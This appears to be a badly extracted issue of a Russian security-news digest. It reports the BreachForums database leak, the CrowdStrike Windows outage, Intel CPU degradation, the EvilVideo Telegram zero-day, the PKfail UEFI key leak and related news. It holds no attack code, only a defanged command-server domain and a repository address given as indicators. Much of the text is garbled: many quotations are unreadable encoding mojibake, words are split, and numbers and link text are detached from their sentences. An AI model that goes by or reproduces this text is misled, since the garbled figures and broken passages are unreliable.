äëÿ ïåð ñîíàëè çàöèè äîñ òóïíûõ ðàç âëå êàòåëü íûõ è èíôîðìà öèîí íûõ
ñåð âèñîâ â êîí êðåò íîì ðåãè îíå — ãîðîñ êîïû, ïîãîäà, àíåê äîòû è ò. ä.
Îáìåí ñîîá ùåíè ÿìè òàêîãî òèïà ÿâëÿ åòñÿ ïîë íîñòüþ áåñ ïëàò íûì
äëÿ ïîëü çîâàòå ëåé. Ïîä êëþ ÷åíèå ïëàò íûõ óñëóã âåäåò ñÿ òîëü êî
ñ ÿâíî ãî ñîã ëàñèÿ ïîëü çîâàòå ëÿ. Ëþáîé èíîé ôóí êöè îíàë, âêëþ ÷àÿ
ÿêî áû ñêðû òóþ ðåãèñ òðà öèþ ïîëü çîâàòå ëåé â ìåñ ñåí äæå ðàõ, â óñòðîé- 
ñòâàõ Digma îòñóòñ òâó åò. Íàøè ìàð êåòèí ãîâûå èññëå äîâà íèÿ ïîêàçû- 
âàþò, ÷òî âûøå óêà çàí íûé ðàç âëå êàòåëü íûé ôóí êöè îíàë ÿâëÿ åòñÿ
íàèáî ëåå âîñ òðå áîâàí íûì ñðå äè ïîëü çîâàòå ëåé êíî ïî÷ íûõ òåëåôî- 
íîâ, òàêèì îáðà çîì, îñíîâíûì íàøèì íàìåðå íèåì âñòðà èâà íèÿ äàí- 
íîãî ôóí êöè îíà ëà â ïðî øèâ êó ÿâëÿ åòñÿ óëó÷ øåíèå êëè åíò ñêî ãî îïû òà.
Èçú ÿòèå òåëåôî íîâ èç ïðî äàæè ìû íå ïëà íèðó åì, òàê êàê íå âèäèì
îñíî âàíèé äëÿ ýòî ãî. Ìû çàï ëàíèðó åì âíå î÷å ðåä íîå íåçàâè ñèìîå
òåñ òèðîâà íèå íàøèõ óñòðîé ñòâ íà ïðåä ìåò ïîèñ êà óÿç âèìîñ òåé â ïðî- 
øèâ êå êíî ïî÷ íûõ òåëåôî íîâ ó êðóï íûõ íåçàâè ñèìûõ êîì ïàíèé è îïóá- 
ëèêó åì ðåçóëü òàòû», — çàÿâè ëè â êîì ïàíèè.

БИЛЛ ГЕЙТС О КЛИМАТЕ И ИИ
На кон ферен ции, орга низо ван ной вен чурным фон дом Breakthrough Energy, Билл Гей тс сооб щил
жур налис там, что, по его мне нию, искусс твен ный интеллект ско рее поможет челове чес тву
решить кли мати чес кие воп росы, чем помеша ет.

Гей тс счи тает, что ИИ поз волит стра нам пот реблять мень ше энер гии, а так же сок ратит выб- 
росы угле кис лого газа, даже если людям пот ребу ется боль ше дата-цен тров.

→ «Давай те не будем переги бать пал ку. В самом край нем слу чае дата-цен тры
уве личи вают спрос на элек тро энер гию на 6% (но ско рее на 2–2,5%). Воп рос
в том, поможет ли ИИ добить ся сок ращения этих 6%? Ответ — безус ловно», —
заявил Гей тс и добавил, что допол нитель ное энер гопот ребле ние, соз дава емое
дата-цен тра ми для ИИ, ско рее все го, будет соп ровож дать ся новыми инвести- 
циями в «зеленую» энер гетику, пос коль ку тех нологи чес кие ком пании готовы
доп лачивать за исполь зование чис тых источни ков элек тро энер гии.

УТЕКЛА БД
BREACHFORUMS
В сети опуб ликова ли пол ную базу дан ных пер вой вер сии хакер ско го форума
BreachForums. Дамп содер жит информа цию о поль зовате лях, их лич ные
сооб щения, крип товалют ные адре са и все сооб щения, оставлен ные
на форуме.

Пред полага ется, что эти дан ные получе ны из бэкапа БД, который соз дал
и про дал еще в 2023 году быв ший админ ресур са, Конор Брай ан Фит цпат рик
(Conor Brian FitzPatrick), так же извес тный под ником Pompompurin.

На пом ним, что вес ной 2023 года пра воох раните ли  BreachForums
в пер вый раз и вско ре 20-лет ний адми нис тра тор и соз датель ресур са,
Pompompurin, был . В ито ге он приз нал себя винов ным по нес коль- 
ким пун ктам обви нения, а в янва ре 2024 года его  к 20 годам
под над зором.

зак рыли

арес тован
при гово рили

Под наз вани ем BreachForums уже работа ло нес коль ко сай тов, но все они
были пос вящены покуп ке, про даже и сли ву дан ных, укра ден ных у взло ман ных
ком паний.

Так, пос ле арес та Фит цпат рика в прош лом году BreachForums зак рылся,
одна ко быс тро появи лись нес коль ко новых вер сий сай та, которые в ито ге
тоже были зах вачены пра воох ранитель ными орга нами. Пос ледняя вари ация
BreachForums запуще на ShinyHunters (но теперь переш ла к новым адми нис- 
тра торам) и .ра бота ет по сей день

Счи тает ся, что Фит цпат рик соз дал и про дал БД, теперь попав шую в откры- 
тый дос туп, еще в июле прош лого года, ког да его выпус тили под залог. С тех
пор дан ные цир кулиро вали сре ди хакеров, а один из них даже пытал ся про- 
дать дамп за 150 тысяч дол ларов.

Те перь же хакер под ником emo сна чала опуб ликовал в сети пор цию дан- 
ных о 212 414 поль зовате лях BreachForums, вклю чая их име на, адре са элек- 
трон ной поч ты и IP-адре са, пос ле того как его самого забани ли на текущей
вер сии сай та.

По сло вам emo, дан ные были получе ны непос редс твен но от Фит цпат рика,
который яко бы пытал ся про дать их в июне 2023 года за 4000 дол ларов,
находясь под залогом. Хакер утвер ждал, что в ито ге дамп при обре ли три зло- 
умыш ленни ка.

Так как эта пуб ликация не помог ла оста новить кон фликт меж ду чле нами
сооб щес тва BreachForums, 23 июля 2024 года emo слил в Telegram пол ную
БД, обна родо вав огромное количес тво допол нитель ной информа ции.

«

»

«Ïîë íàÿ áàçà äàí íûõ BreachForum v1, ñîäåð æàùàÿ âñå çàïèñè
äî 29 íîÿá ðÿ 2022 ãîäà, — ïèñàë emo â Telegram. — Ýòà ÁÄ âêëþ ÷àåò
âñё: ëè÷ íûå ñîîá ùåíèÿ, òåìû, ëîãè ïëà òåæåé, ïîä ðîáíûå ëîãè IP-
àäðå ñîâ äëÿ êàæ äîãî ïîëü çîâàòå ëÿ è òàê äàëåå. Èçíà ÷àëü íî ÿ âûëîæèë
òîëü êî òàá ëèöó ïîëü çîâàòå ëåé, ÷òî áû ïðå äîò âðà òèòü åå ïðî äàæó
çà êóëèñû ñîò ðóäíè êàìè BreachForum, íî òåïåðü ñòà ëî î÷å âèä íî, ÷òî
ýòà ÁÄ åñòü ó ñòîëü êèõ ëþäåé, ÷òî åå óòå÷ êà ïðîñ òî íåèç áåæíà.
Ýòî äàåò âñåì øàíñ ïðîñ ìîòðåòü ñâîè çàïèñè è óñòðà íèòü ïðî áåëû
â OPSEC».

Су дя по вре мен ным отметкам, это пол ная резер вная копия форума MyBB,
соз данная 28 нояб ря 2022 года. БД содер жит все дан ные форума, вклю чая ID
поль зовате лей, хеширо ван ные пароли, лич ные сооб щения, крип товалют ные
адре са, исполь зовав шиеся для покуп ки форум ных кре дитов, и все сооб- 
щения на сай те.

Осо бый инте рес, конеч но, пред став ляют лич ные сооб щения, в которых
хакеры рас ска зыва ют друг дру гу о сво их экс пло итах, выража ют желание
купить дос туп к сетям орга низа ций или ищут дос туп к све жим укра ден ным
дан ным.

Хо тя пра воох ранитель ные орга ны уже рас полага ют этой БД, которую они
получи ли пос ле зах вата пер вой вер сии сай та и арес та Фит цпат рика
в 2023 году, дру гие прес тупни ки, жур налис ты и ИБ-иссле дова тели рань ше
не име ли дос тупа к это му дам пу.

 ЧЕЛОВЕК В РФ ВЛАДЕЮТ 
ТЕЛЕФОННЫХ НОМЕРОВ
265 1,1 ÌÈËËÈÎÍÀ

В Рос комнад зоре сооб щили, что за пери од с 1 нояб ря 2023 года было выяв лено 
 SIM-карт, офор млен ных с наруше ниями. Кар ты в ито ге были заб локиро ваны, либо

догово ры по ним были рас тор гну ты.

3,7  мил- 
лиона

Так же ведомс тво про ана лизи рова ло передан ные опе рато рами све дения об або нен тах и выяви- 
ло, что на сегод няшний день  человек име ют более чем  SIM-карт каж дый. В общей
слож ности они вла деют свы ше  мобиль ных номеров.

265 1000
1,1 мил лиона

По мне нию спе циалис тов, в этой ситу ации «усматри вают ся наруше ния уста нов ленно го про цес- 
са офор мле ния кар ты или потен циаль но мошен ничес кие дей ствия со сто роны або нен та,
дилера или опе рато ра свя зи».
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НЕУДАЧНОЕ
ОБНОВЛЕНИЕ
CROWDSTRIKE
В середи не июля  enterprise-решения CrowdStrike Falcon Sensor
при вело к тому, что мил лионы Windows-сис тем показа ли «синий экран смер- 
ти» (BSOD).

об новле ние

Пос тра дав шие хос ты ухо дили в бес конеч ный цикл перезаг рузки
или демонс три рова ли BSOD, а из строя выходи ли целые ком пании с пар ками,
нас читыва ющи ми сот ни тысяч машин.

Это пов лекло за собой мас совые сбои в работе аэро пор тов, бан ков,
медицин ских учрежде ний и мно жес тва дру гих орга низа ций в США, Великоб- 
ритании, мно гих стра нах ЕС, Индии, Новой Зелан дии, Авс тра лии. По дан ным
Microsoft, от сбо ев пос тра дали око ло .8,5 мил лиона Windows-сис тем

Поз же спе циалис ты  и  опуб ликова ли деталь ные тех- 
ничес кие отче ты об инци ден те.

CrowdStrike Microsoft

Ком пании сооб щили, что при чиной гло баль ного сбоя стал баг в тес товой
сис теме Content Validator. Так, выяс нилось, что пос ле про хож дения Content
Validator обновле ние не под верга лось допол нитель ным про вер кам из-за
доверия к пре дыду щим успешным раз верты вани ям Inter-Process
Communication (IPC) Template Type. Поэто му проб лемное обновле ние оста- 
валось незаме чен ным вплоть до раз верты вания на хос тах кли ентов, работа- 
ющих с Falcon вер сии 7.11 и более поз дних.

В CrowdStrike пообе щали улуч шить про цес сы тес тирова ния (добавив фаз- 
зинг, стресс-тес ты, про вер ки ста биль нос ти и так далее), а так же исполь- 
зовать поэтап ные раз верты вания обновле ний для мень ших пулов кли ентов.
Так же впредь ком пания намере на пуб ликовать release notes для обновле ний
EDR-кон тента, чего рань ше не делала.

Ком пания при нес ла пуб личные изви нения от име ни сво его генераль ного
дирек тора Джор джа Кур ца (George Kurtz) и дирек тора по безопас ности Шона
Ген ри (Shawn Henry).

«

»

«Âñå â CrowdStrike ïîíèìà þò ñåðü åçíîñòü è ïîñ ëåäñ òâèÿ ñëî æèâ øåé ñÿ
ñèòó àöèè, — óâå ðÿë Êóðö. — Äëÿ ìåíÿ íåò íè÷åãî âàæ íåå äîâåðèÿ,
êîòîðîå íàøè êëè åíòû è ïàð òíå ðû îêà çàëè CrowdStrike. Ïî ìåðå òîãî
êàê ìû áóäåì ðàç áèðàòü ñÿ ñ ýòèì èíöè äåí òîì, ÿ îáÿ çóþñü îáåñ ïå÷èòü
ïîë íóþ ïðîç ðà÷íîñòü â îòíî øåíèè òîãî, êàê ýòî ïðî èçîø ëî, è ìåð,
êîòîðûå ìû ïðè íèìà åì äëÿ ïðå äîò âðà ùåíèÿ ïîâ òîðåíèÿ ïîäîá íîãî».

«ß çàíèìà þñü ïðî ôåñ ñèîíàëü íîé äåÿòåëü íîñòüþ óæå ïî÷ òè 40 ëåò,
è ìîåé ïóòåâîä íîé çâåç äîé âñåã äà áûëà „çàùèòà õîðîøèõ ëþäåé
îò ïëî õèõ“, — ïèñàë Ãåí ðè. — Ýòè äâà äíÿ ñòà ëè äëÿ ìåíÿ ñàìûìè
ñëîæ íûìè 48 ÷àñàìè çà ïîñ ëåäíèå 12+ ëåò. Äîâåðèå, êîòîðîå ìû
âûñ òðà èâà ëè ïî êðó ïèöàì íà ïðî òÿæå íèè ìíî ãèõ ëåò, áûëî óòðà ÷åíî
â ñ÷è òàíûå ÷àñû, è ýòî áûë òÿæåëûé óäàð».

В кон це месяца Джордж Курц сооб щил, что уже 97% Windows-сис тем, пос- 
тра дав ших от проб лемно го обновле ния, вос ста нов лены и работа ют в штат- 
ном режиме.

Что каса ется отче тов Microsoft, вице-пре зидент Microsoft Джон Кей бл
(John Cable) заявил, что для лик видации пос ледс твий это го инци ден та ком- 
пания «задей ство вала более 5000 инже неров под дер жки, которые работа ли
круг лосуточ но». Так же он намек нул на воз можные изме нения в Windows
в будущем, которые помогут избе жать пов торения таких мас совых сбо ев.

В час тнос ти, Кей бл отме тил, что анкла вы VBS и Azure Attestation так же
могут обес печить безопас ность Windows, не тре буя дос тупа на уров не ядра,
который сей час есть у боль шинс тва защит ных про дук тов для Windows (вклю- 
чая CrowdStrike Falcon Sensor). Он не стал уточ нять, какие имен но изме нения
могут появить ся в Windows, лишь сооб щил, что Microsoft про дол жит укреплять
свою плат форму и «делать еще боль ше для повыше ния устой чивос ти эко сис- 
темы Windows, откры то сот рудни чая с широким сооб щес твом спе циалис тов
по безопас ности».

Сто ит ска зать, что ана лити ки стра ховой ком пании Parametrix под счи тали,
что толь ко аме рикан ские ком пании из спис ка Fortune 500 (сре ди которых
пос тра дала при мер но чет верть) понес ли убыт ки в раз мере 5,4 мил лиар да
дол ларов США из-за проб лемно го обновле ния CrowdStrike. При чем в эту
оцен ку не вклю чены убыт ки Microsoft, так как она «явля лась клю чевым игро- 
ком в этом событии».

В Parametrix счи тают, что некото рые отрасли из спис ка Fortune 500 прак- 
тичес ки не пос тра дали. Так, про изводс тво, тран спорт (за исклю чени ем ави- 
аком паний) и финан сы, по оцен кам иссле дова телей, понес ли убыт ки в раз- 
мере нес коль ких десят ков мил лионов дол ларов. Тог да как роз ничная тор- 
говля и ИТ потеря ли око ло полови ны мил лиар да, ави аком пании — 860 мил- 
лионов дол ларов, а бан ков ский и медицин ский сек торы — более трех мил- 
лиар дов.

КОРПОРАТИВНЫЕ ПЕНТЕСТЫ
Спе циалис ты Positive Technologies рас ска зали о резуль татах пен тестов, про веден ных
в 2023 году. Прак тичес ки во всех ком пани ях, где про води лось внут реннее тес тирова ние, зло- 
умыш ленни ки мог ли бы уста новить пол ный кон троль над ИТ-инфраструк турой.

Ми нималь ный срок про ник новения в локаль ную сеть сос тавил .один день

В сред нем спе циалис там тре бова лось  для получе ния дос тупа.10 дней

В  орга низа ций зло умыш ленник с низ кой ква лифи каци ей мог про ник нуть в локаль ную сеть
извне.

63%

Тех ники по мат рице MITRE ATT&CK, которые поз волили получить дос туп в сеть

Поч ти во всех ком пани ях уда лось получить  сот рудни ков и 
 к важ ной кон фиден циаль ной информа ции, вклю чая 

 и , а так же уста новить 
.

учет ные дан ные не сан кци они- 
рован ный дос туп ин теллек туаль ную
собс твен ность слу жеб ную перепис ку пол ный кон троль
над инфраструк турой

Так же в ходе пен тестов было обна руже но  уяз вимос ти, из которых  пред став ляли
серь езную опас ность.

423 34%

Ос новны ми при чина ми неудов летво ритель ного сос тояния защищен ности орга низа ций были
наз ваны: ,  ком понен тов ИТ-сис тем
и .

ус тарев шие вер сии ПО не безо пас ная кон фигура ция
не дос татки пароль ной полити ки

В  слу чаев в сис темах заказ чиков вооб ще были обна руже ны сле ды реаль ной ком про мета- 
ции, в том чис ле работа ющие веб-интер пре тато ры коман дной стро ки или изме нения в кон- 
фигура цион ных фай лах.

21%

НЕОБРАТИМАЯ
ДЕГРАДАЦИЯ INTEL
На про тяже нии нес коль ких месяцев ком пания Intel изу чала сооб щения о том,
что про цес соры 13-го и 14-го поколе ний (в час тнос ти, Core i9-13900K
и -14900K) работа ют со сбо ями под опре делен ными наг рузка ми, а имен но
во вре мя игр. Теперь ста ло извес тно, что обновлен ный мик рокод для устра- 
нения проб лемы будет передан про изво дите лям материн ских плат в середи- 
не августа.

Впер вые информа ция о том, что мно гие поль зовате ли Core i9-13900K и i9-
14900K стал кива ются со стран ными сбо ями в работе дес ктоп ных про цес- 
соров Intel во вре мя игр, появи лась в СМИ в апре ле текуще го года. Тог да ста- 
ло извес тно, что сбои могут воз никать даже в таких срав нитель но малот- 
ребова тель ных играх, как Fortnite, а так же Hogwarts Legacy, Remnant 2, Alan
Wake 2, Horizon: Zero Dawn, The Last of Us Part 1 и Outpost: Innity Siege.

Так же проб лемы мог ли зат рагивать такие родс твен ные про цес соры,
как i9-13900KF, i9-14900KF, i9-13900KS и i9-14900KS. И, сог ласно сооб щени- 
ям отдель ных поль зовате лей, сбои мог ли про являть ся в сери ях i7-13700K
и i7-14700K.

«
»

«Intel èçâåñ òíî î ñîîá ùåíè ÿõ, ÷òî ðàç áëî êèðî âàí íûå ïðî öåñ ñîðû Intel
Core 13-ãî è 14-ãî ïîêîëå íèé ñòàë êèâà þòñÿ ñ ïðîá ëåìàìè ïðè âûïîë- 
íåíèè îïðå äåëåí íûõ ðàáî÷èõ íàã ðóçîê. Â ñîò ðóäíè ÷åñ òâå ñ íàøèìè
ïàð òíå ðàìè ìû ïðî âîäèì àíà ëèç ýòèõ ñîîá ùåíèé», — çàÿâè ëè òîã äà
â Intel.

Поз же в ком пании сооб щили, что при чиной сбо ев могут быть про изво дите ли
материн ских плат, которые поз воля ют уве личи вать пре дель ное энер гопот- 
ребле ние и отклю чают защит ные фун кции, что бы добить ся от про цес соров
боль шей про изво дитель нос ти.

«

»

«Õîòÿ ïåð âîïðè ÷èíà ïîêà íå óñòà íîâ ëåíà, Intel çàìåòè ëà, ÷òî áîëü- 
øèíñ òâî ñîîá ùåíèé î äàí íîé ïðîá ëåìå ïîñ òóïà åò îò ïîëü çîâàòå ëåé
ñ ìàòåðèí ñêè ìè ïëà òàìè, ïîä äåðæè âàþùè ìè ðàç áëî êèðîâ êó/ðàç- 
ãîí, — ãîâîðè ëè ðàç ðàáîò ÷èêè. — Ïî íàá ëþäåíè ÿì Intel, â BIOS ïëàò
ñ ÷èï ñåòàìè ñåðèé 600/700 ÷àñ òî ïðåä ñòàâ ëåíû íàñ òðîé êè ïî óìîë- 
÷àíèþ, îòêëþ ÷àþùèå çàùèòó îò ïåðåã ðåâà è çàùèòó ïèòàíèÿ, ñîç- 
äàííûå äëÿ ïðå äîõ ðàíåíèÿ ïðî öåñ ñîðîâ îò äëè òåëü íîãî âîç äåé ñòâèÿ
âûñîêî ãî íàï ðÿæåíèÿ è ÷àñ òîò».

В час тнос ти, в Intel писали, что проб лемы могут вызывать сле дующие нас- 
трой ки:
• от клю чение Current Excursion Protection (CEP);
• вклю чение IccMax Unlimited bit;
• от клю чение Thermal Velocity Boost (TVB) или Enhanced Thermal Velocity

Boost (eTVB);
• от клю чение C-states;
• ис поль зование режима Windows Ultimate Performance;
• по выше ние PL1 и PL2 сверх рекомен дован ных Intel пре делов.

В ито ге Intel рекомен довала про изво дите лям материн ских плат выпус тить
обновле ния для BIOS и исполь зовать рекомен дован ные зна чения по умол- 
чанию.

Те перь в ком пании наконец завер шили рас сле дова ние. Ожи дает ся, что
обновле ние мик рокода для устра нения проб лемы будет нап равле но про- 
изво дите лям материн ских плат в середи не августа, пос ле про веде ния тес тов.
Патч будет рас простра нять ся в виде обновле ния BIOS от OEM-про изво дите- 
лей материн ских плат, а так же через обновле ния Windows.

По ка в Intel не рас кры ли под робнос тей, но сооб щили, что ана лиз проб- 
лемных про цес соров выявил, что «повышен ное рабочее нап ряжение
[вызыва ющее сбои] свя зано с алго рит мом мик рокода, при водя щим к неп- 
равиль ным зап росам нап ряжения на про цес сор». Ины ми сло вами, про цес- 
сор зап рашива ет и получа ет слиш ком мно го питания, что зас тавля ет его
работать за пре дела ми безопас ных гра ниц и со вре менем при водит к сни- 
жению его ста биль нос ти.

При этом изда ние  пре дуп редило, что эти проб лемы
«вызыва ют необ ратимую дег радацию про цес соров», то есть гря дущее
исправ ление, к сожале нию, не смо жет устра нить уже нанесен ный ущерб.

Tom’s Hardware

Со обща ется, что Intel про дол жит заменять про цес соры, которые уже
демонс три руют стран ное поведе ние. То есть всем поль зовате лям, которые
уже стол кну лись со сбо ями, рекомен дует ся обра тить ся в служ бу под дер жки
кли ентов.

УТЕКЛИ  БД РОССИЙСКИХ КОМПАНИЙ150

Ана лити ки FACCT под счи тали, что в пер вом полуго дии 2024 года в откры тый дос туп на андегра- 
ундных форумах и в темати чес ких Telegram-каналах попали  баз дан ных рос сий ских ком- 
паний.

150

За ана логич ный пери од прош лого года их было , а за весь прош лый год зло умыш ленни ки
опуб ликова ли  БД.
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Око ло  от обще го чис ла уте чек в 2024 году сос тавили базы дан ных ком паний, спе циали- 
зиру ющих ся на роз ничной онлайн-тор говле.

30%

Дан ные из боль шинс тва опуб ликован ных БД датиро ваны 2024 годом, и боль шая часть из них
вклю чают такую информа цию, как , , , ,

, .
ФИО ад реса про жива ния па роли да ты рож дения

пас пор тные дан ные те лефон ные номера

УЯЗВИМОСТЬ В
TELEGRAM
Эк спер ты ком пании ESET сооб щили об уяз вимос ти нулево го дня в Telegram
для Android, получив шей наз вание EvilVideo. Проб лема поз воляла зло умыш- 
ленни кам отправ лять поль зовате лям вре донос ные APK-фай лы, замас- 
кирован ные под виде офай лы.

По дан ным иссле дова телей, хакер под ником Ancryno начал про давать
экс пло ит для этой 0-day-проб лемы еще 6 июня 2024 года. В сво ем сооб- 
щении на хак форуме XSS он писал, что баг при сутс тву ет в Telegram
для Android вер сии 10.14.4 и стар ше.

Хо тя исходно зло умыш ленник утвер ждал, что экс пло ит отно сит ся к типу one-
click (то есть сра баты вает за один клик и тре бует минималь ного вза имо дей- 
ствия с челове ком), на самом деле для выпол нения вре донос ной полез ной
наг рузки на устрой стве жер твы тре бовал ся ряд шагов и опре делен ные нас- 
трой ки, что замет но сни жало риск успешной ата ки.

Спе циалис ты ESET смог ли обна ружить проб лему пос ле того, как в пуб- 
личном Telegram-канале была опуб ликова на PoC-демонс тра ция уяз вимос ти,
что поз волило им получить вре донос ную полез ную наг рузку.

Сог ласно отче ту ком пании, экс пло ит дей стви тель но работал толь ко
в Telegram вер сии 10.14.4 и стар ше. Ана литик ESET Лукаш Сте фан ко (Lukas
Stefanko) уве домил о проб леме раз работ чиков Telegram 26 июня и еще
раз 4 июля 2024 года. Вско ре пос ле это го пред ста вите ли Telegram отве тили,
что изу чают сооб щение иссле дова телей, а затем испра вили уяз вимость
в вер сии 10.14.5, вышед шей 11 июля 2024 года.

Хо тя неиз вес тно, экс плу ати рова лась ли эта проб лема в реаль ных ата ках,
ESET обна ружи ла по адре су innityhackscharan.ddns[.]net управля ющий сер- 
вер, который исполь зовал ся упо мяну той выше полез ной наг рузкой. Кро ме
того, на VirusTotal уда лось най ти два вре донос ных APK-фай ла, исполь зующих
этот управля ющий сер вер. Обна ружен ные при ложе ния выдава ли себя
за Avast Antivirus или xHamster Premium Mod.

EvilVideo поз воляла зло умыш ленни кам соз давать спе циаль ные фай лы
APK, которые при отправ ке дру гим поль зовате лям Telegram выг лядели
как встро енные видео.

Ис сле дова тели счи тают, что экс пло ит исполь зовал API Telegram для соз- 
дания сооб щения на прог рам мном уров не, которое выг лядело как 30-секун- 
дное видео.

Так как по умол чанию Telegram для Android авто мати чес ки заг ружа ет меди- 
афай лы, поль зовате ли получа ли полез ную наг рузку на свое устрой ство, сра зу
пос ле того, как откры вали беседу. Если же у поль зовате ля была отклю чена
авто мати чес кая заг рузка, ему нуж но было клик нуть на превью, что бы ини- 
цииро вать заг рузку фай ла.

Ког да поль зователь пытал ся вос про извести фаль шивое видео, Telegram
сооб щал, что не может открыть ролик, и пред лагал исполь зовать внеш ний
пле ер, что мог ло побудить жер тву нажать кноп ку «Открыть» и выпол нить
полез ную наг рузку.

Впро чем, на сле дующем эта пе тре бовал ся допол нитель ный шаг, серь езно
сни жав ший эффектив ность таких атак: жер тва дол жна была вруч ную раз- 
решить уста нов ку при ложе ний из неиз вес тных источни ков в нас трой ках, что- 
бы вре донос ный APK смог уста новить ся на устрой ство.

Спе циалис ты ESET отме чают, что про тес тирова ли экс пло ит в веб-кли енте
Telegram и Telegram для дес кто пов и убе дились, что там он не работа ет, пос- 
коль ку полез ная наг рузка вос при нима ется как виде офайл в фор мате MP4.

В исправ ленной вер сии Telegram для Android (10.14.5) APK-фай лы тоже
отоб ража ются кор рек тно, и выдать их за виде оро лики боль ше не получит ся.

Пред ста витель пресс-служ бы Telegram сооб щил «Хакеру», что в ком пании не счи тают опи сан- 
ный баг уяз вимостью, пос коль ку поль зователь дол жен сам раз решить уста нов ку «пле ера». Под- 
робнее о том, как работа ет этот баг, и о нес тыков ках в заяв лени ях Telegram читай в нашей
статье « ».Убой ное видео. Как я написал экс пло ит для бага в Telegram и что было даль ше

ГЛАВА GOOGLE DEEPMIND СРАВНИЛ ИИ С КОТОМ
Выс тупая на кон ферен ции Future of Britain Conference 2024, CEO Google DeepMind Демис Хас- 
сабис (Demis Hassabis) срав нил уро вень сов ремен ного искусс твен ного интеллек та с уров нем
обыч ных домаш них кош кек.

От вечая на воп рос о прог рессе DeepMind в области AGI, Хас сабис пояс нил, что сов ремен- 
ный ИИ может писать, рисовать и соз давать музыку, напоми ная челове ка, но общий интеллект
даже у кош ки гораз до выше.

→ «Пока мы не дос тигли даже уров ня кошачь его интеллек та, если говорить
о сис теме в целом. В нас тоящее вре мя мы далеки от интеллек та челове чес кого
уров ня по всем нап равле ниям. Хотя в опре делен ных областях, таких как игры,
ИИ пре вос ходит даже луч ших людей мира», — заявил Хас сабис во вре мя пуб- 
личной дис куссии с Тони Блэ ром (быв ший премь ер-министр Великоб ритании).

UEFI-ПРОБЛЕМА
PKFAIL
Сот ни моделей устрой ств мно гих круп ных про изво дите лей (Acer, Aopen, Dell,
Formelife, Fujitsu, Gigabyte, HP, Intel, Lenovo и Supermicro) под верга ются рис ку
взло ма из-за кри тичес кой проб лемы PKfail, обна ружен ной в цепоч ке пос тавок
UEFI. Проб лема поз воля ет зло умыш ленни кам обой ти защиту Secure Boot
и уста новить вре донос ное ПО.

Эк спер ты ком пании Binarly, обна ружив шие PKfail, говорят, что уяз вимые
устрой ства исполь зуют крип тогра фичес кие тес товые «мас тер-клю чи»
для Secure Boot, так же извес тные как Platform Key, соз данные ком пани ей
American Megatrends International (AMI). Такие клю чи помече ны как «DO NOT
TRUST», и пред полага лось, что про изво дите ли дол жны заменить их собс твен- 
ными, сге нери рован ными безопас но клю чами.

Продолжение статьи →

https://xakep.ru/2024/07/19/crowdstrike-apocalypse/
https://xakep.ru/2024/07/22/crowdstrike-bsod/
https://www.crowdstrike.com/falcon-content-update-remediation-and-guidance-hub/
https://www.microsoft.com/en-us/security/blog/2024/07/27/windows-security-best-practices-for-integrating-and-managing-security-tools
https://www.tomshardware.com/pc-components/cpus/intel-finally-announces-a-solution-for-cpu-crashing-errors-claims-elevated-voltages-are-the-root-cause-fix-coming-by-mid-august
https://xakep.ru/2024/07/24/telegram-video-exploit/
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«
»

«OEM-ïðî èçâî äèòå ëè è ïîñ òàâùè êè óñòðîé ñòâ çà÷àñ òóþ íå çàìåíÿ þò
Platform Key, óïðàâëÿ þùèé áàçàìè äàí íûõ Secure Boot è ïîä äåðæè- 
âàþùèé âñþ öåïî÷ êó äîâåðèÿ îò ïðî øèâ êè ê îïå ðàöè îííîé ñèñ òåìå.
Â ðåçóëü òàòå óñòðîé ñòâà ïîñ òàâëÿ þòñÿ ñ íåíàäåæ íûìè êëþ ÷àìè», —
îáú ÿñíÿ þò ñïå öèàëèñ òû Binarly.

Сре ди про изво дите лей устрой ств с UEFI, которые исполь зовали ненадеж ные
тес товые клю чи, чис лятся Acer, Aopen, Dell, Formelife, Fujitsu, Gigabyte, HP,
Intel, Lenovo и Supermicro, а клю чи с отметка ми «DO NOT SHIP» и «DO NOT
TRUST» при меня лись в 813 раз личных про дук тах. Пол ный спи сок мож но най ти

.здесь
Оче вид но, что клю чи AMI вооб ще не пред назна чались для исполь зования

в про изводс твен ных сис темах, и AMI пре дос тавля ла их кли ентам и потен- 
циаль ным покупа телям для тес тирова ния. Одна ко еще в 2022 году нек то
опуб ликовал в пуб личном репози тории GitHub Platform Key (его при ват ную
часть в зашиф рован ном виде).

Ре пози торий находил ся по адре су https://github.com/raywu-
aaeon/Ryzen2000_4000[.]git, и неиз вес тно, ког да имен но он был уда лен.
При этом зашиф рован ный файл ока зал ся защищен паролем все го из четырех
сим волов, то есть взлом пароля и извле чение дан ных были три виаль ной
задачей.

Утеч ка клю ча оста валась прак тичес ки незаме чен ной до янва ря 2023 года,
пока иссле дова тели Binarly не обна ружи ли тот же ключ при рас сле дова нии
дру гого инци ден та, свя зан ного с ата кой на цепоч ку пос тавок, в ито ге заин- 
тересо вав шись проб лемой.

Как пре дуп режда ют иссле дова тели, экс плу ата ция PKfail поз волит зло- 
умыш ленни кам, име ющим дос туп к уяз вимым устрой ствам и при ват ной час ти
Platform Key, обой ти Secure Boot, манипу лируя базами дан ных Key Exchange
Key, Signature Database и Forbidden Signature Database.

Ском про мети ровав всю цепоч ку, от про шив ки до опе раци онной сис темы,
ата кующие смо гут под писать свой вре донос ный код и раз вернуть на машине
UEFI-мал варь, подоб ную  и .CosmicStrand BlackLotus

«
»

«Ïåð âàÿ ïðî øèâ êà, óÿç âèìàÿ äëÿ PKfail, áûëà âûïóùå íà
â ìàå 2012 ãîäà, à ïîñ ëåäíÿÿ — â èþíå 2024 ãîäà. Â öåëîì ýòî äåëà åò
äàí íóþ ïðîá ëåìó ñ öåïî÷ êîé ïîñ òàâîê îäíîé èç ñàìûõ äëè òåëü íûõ
â ñâî åì ðîäå, âåäü îíà ñóùåñ òâó åò óæå áîëåå äâå íàä öàòè ëåò», —
ãîâîðÿò èññëå äîâà òåëè.

Для борь бы с PKfail про изво дите лям рекомен дует ся генери ровать Platform
Key и управлять им, сле дуя передо вым методам управле ния крип тогра фичес- 
кими клю чами. Так же, разуме ется, всег да сле дует заменять собс твен ными
тес товые клю чи, пре дос тавля емые незави симы ми пос тавщи ками BIOS,
такими как AMI.

Поль зовате лям иссле дова тели посове това ли сле дить за обновле ниями
про шив ки от про изво дите лей их устрой ств и как мож но ско рее уста новить
любые исправ ления, которые будут свя заны с устра нени ем проб лемы PKfail.
Так же экспер ты Binarly запус тили сайт , который приз ван помочь поль-
зовате лям прос каниро вать и обна ружить уяз вимые перед PKfail устрой ства
и вре донос ные полез ные наг рузки.

pk.fail

POC-ЭКСПЛОИТЫ В АТАКАХ
Cloudare под готови ла отчет о безопас ности при ложе ний за 2024 год. Ока залось, зло умыш-
